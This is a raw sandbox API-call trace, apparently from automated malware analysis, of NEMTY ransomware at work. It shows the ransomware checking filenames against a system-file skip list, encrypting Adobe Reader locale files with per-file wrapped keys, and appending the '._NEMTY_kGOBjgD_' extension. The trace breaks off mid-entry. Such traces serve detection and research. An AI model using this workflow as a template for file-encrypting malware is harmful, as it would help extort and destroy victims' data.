lstrcmpiW (lpString1="EScript.SLV", lpString2="programdata") returned -1 [0183.943] lstrcmpiW (lpString1="EScript.SLV", lpString2="appdata") returned 1 [0183.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SLV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SLV", lpUsedDefaultChar=0x0) returned 11 [0183.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SLV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SLV", lpUsedDefaultChar=0x0) returned 11 [0183.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SLV", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SLV", lpUsedDefaultChar=0x0) returned 11 [0183.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0183.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SLV", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SLV", lpUsedDefaultChar=0x0) returned 11 [0183.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0183.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0183.943] Sleep (dwMilliseconds=0x5) [0183.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x214a9ab0, dwHighDateTime=0x1d561e8)) [0183.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x214a9ab0, dwHighDateTime=0x1d561e8)) [0183.953] GetLastError () returned 0x0 [0183.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.953] GetLastError () returned 0x0 [0183.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.953] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.953] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.953] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0183.954] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="5hvGCdd9dw5nK+3yiac2LOHHdCyJLgTvhuKA2JpnRMRMVHecZSDRfifRt+5Z/DEk\r\noH1osLnnPTlFUHDSSTzPFcBcEz9F4letIs4JIIQY7OLVEx2zHaraBhg1E0tuRFx5\r\nMwGHKTmLaskd2Ig4EifUb2ku+tsZieLjl1EQlq+9iFSvNhiJfmEIzu6QA0WCCQ/J\r\nkRVBmrx9UmAKEcmVSgrFXTpb5a5wgZlMnhj3TlxPm2tauHb5uOdEhHV+ca9qkOxo\r\nRMLneTjnA0vDRSt2/nPyUhStDq69TI7HkViYP1huR8CMtZ3Uo5p+F6NorBmha5JV\r\nZ/UlO0QY/wzrabrmbTFYTQ==\r\n", pcchString=0x653e5dc) returned 1 [0183.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0183.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\EScript.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\escript.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.954] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=40448) returned 1 [0183.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9e00) returned 0x6352c48 [0183.954] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.954] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x9e00, lpOverlapped=0x0) returned 1 [0183.958] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.958] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x9e00, lpOverlapped=0x0) returned 1 [0183.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.959] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=40448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9e00 [0183.959] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.959] CloseHandle (hObject=0x2e8) returned 1 [0183.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0183.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.959] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0183.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0183.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0183.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.959] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\EScript.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\escript.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\EScript.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\escript.slv._nemty_kgobjgd_")) returned 1 [0183.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0183.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0183.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0183.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.960] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.SLV", cAlternateFileName="")) returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2=".") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="..") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="...") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="windows") returned -1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="rsa") returned -1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="NTDETECT.COM") returned -1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="ntldr") returned -1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="MSDOS.SYS") returned -1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="IO.SYS") returned -1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="boot.ini") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="boot.ini") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="ntuser.dat") returned -1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="desktop.ini") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="CONFIG.SYS") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="RECYCLER") returned -1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="BOOTSECT.BAK") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="bootmgr") returned 1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="programdata") returned -1 [0183.960] lstrcmpiW (lpString1="IA32.SLV", lpString2="appdata") returned 1 [0183.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.960] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SLV", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SLV", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SLV", lpUsedDefaultChar=0x0) returned 8 [0183.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SLV", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SLV", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SLV", lpUsedDefaultChar=0x0) returned 8 [0183.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SLV", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SLV", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SLV", lpUsedDefaultChar=0x0) returned 8 [0183.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SLV", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0183.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SLV", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SLV", lpUsedDefaultChar=0x0) returned 8 [0183.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0183.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.961] Sleep (dwMilliseconds=0x5) [0183.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x214cfc10, dwHighDateTime=0x1d561e8)) [0183.969] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x214cfc10, dwHighDateTime=0x1d561e8)) [0183.969] GetLastError () returned 0x0 [0183.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.969] GetLastError () returned 0x0 [0183.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.969] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.969] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.969] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.969] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="kzMvJ2lVQH7vVMMXkeve+Jy4WDwo2E4CBJyVhMaM85pG4JyfgPol2USjqoU3E6vi\r\nWif8aFfmWGjJi+h46WmRGzrIPm2ZdTIkbpy2VNmoXoHaylDFq4XWI+36fZoDgdKQ\r\nuHnCmaERyPDTK961e883w8QldXw/4moLsbvTlUngdL9Z6xTzcKLwOGX6DKorn6Ex\r\ny+KmoEhkNFNkwTAcqAqX5+lxdP5zpMGFRzFJlPi5zkL+lXSH0CSqYLifuLsiuvcx\r\nLxeBtTd8eVIhodC30zemjNx8YSpLqk0vaGTLfPSOJVl3YPttlS2Kg9aIPSDlzBXS\r\nY0F6fYHPc1eEp3IsZ9kZPw==\r\n", pcchString=0x653e5dc) returned 1 [0183.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\IA32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ia32.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.970] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0183.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0183.970] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.970] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0183.972] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.972] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0183.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0183.973] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0183.973] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.973] CloseHandle (hObject=0x2e8) returned 1 [0183.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.973] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0183.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0183.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0183.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.973] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\IA32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ia32.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\IA32.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ia32.slv._nemty_kgobjgd_")) returned 1 [0183.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0183.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.974] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="MakeAccessible.SLV", cAlternateFileName="MAKEAC~1.SLV")) returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2=".") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="..") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="...") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="windows") returned -1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="rsa") returned -1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="NTDETECT.COM") returned -1 [0183.974] lstrcmpiW (lpString1="MakeAccessible.SLV", lpString2="ntldr") returned -1 [0183.974] 